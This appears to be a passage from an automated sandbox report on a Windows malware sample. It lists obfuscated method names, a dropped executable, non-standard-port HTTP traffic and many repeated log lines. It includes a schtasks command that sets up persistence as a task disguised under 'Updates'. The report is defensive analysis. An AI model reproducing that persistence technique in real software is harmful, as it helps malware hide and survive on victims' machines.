Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, XgebogbwOsR0gfglTQ.cs	High entropy of concatenated method names: 'nXckMHmDJ1', 'yq6ki3Z6Px', 'kNEkZwdf9j', 'l8mkjCSxmW', 'MxOk83Vo6h', 'XOsknQlf96', 'iD7k0urPU0', 'W4ckQULa0o', 'nCbkAM3Qew', 'nrkk4rcXV8'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, e76RDfs2gMTWkMESU9.cs	High entropy of concatenated method names: 'cYvBRe4ITx', 'WyDB5XwVY2', 'oe5BsOmxPH', 'BWiBmOPU69', 'HuiBfHi5jM', 'ukZBgRkE4k', 'DyUBli1OxA', 'bo8BFdaH6K', 'qt8BT7oNHM', 'jA0BvRRd00'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, BuKFvcytlNej6Xmnlm.cs	High entropy of concatenated method names: 'M1jq2uwCFU', 'Tn5qfYjhZj', 'Xn1qghuX1p', 'ymCqlLwbJU', 'y5LqsNy8sn', 'aj5qFtliUi', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, PBZm392MPlhwZB1smS.cs	High entropy of concatenated method names: 'ERb6tC2RPO', 'kQa6S3jlpu', 'CAx6Y5Rqt5', 'FL46kMHMM2', 'Ewq6rYIClm', 'NJbYeQhPIb', 'rL0YpqvCZh', 'tUhYwJT6Mg', 'RvJYIbuxdV', 'G3NYy3NiIo'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, KMEUyHpk0r1NX0mCU0.cs	High entropy of concatenated method names: 'QBfdIGkJum', 'Is5dKjXoRh', 'lLjqPwkq3k', 'S1gqXhnKoa', 'MjAdGJYt0G', 'HI9d5bCQ3Z', 'OHMduo6TD3', 'BOBdsiYdBw', 'asvdm8bkBo', 'ItYdO0O1sq'
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, YLZhRozVOXHF08W4EV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'B3WLhl1Nqk', 'A7gLBDYqvp', 'w3aLUmAfcP', 'PSULdqE2Zl', 'bDrLqNfXur', 'zV6LLjSiBe', 'yaUL91hUno'

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

File created: C:\Users\user\AppData\Roaming\VcihjWRO.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49837

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
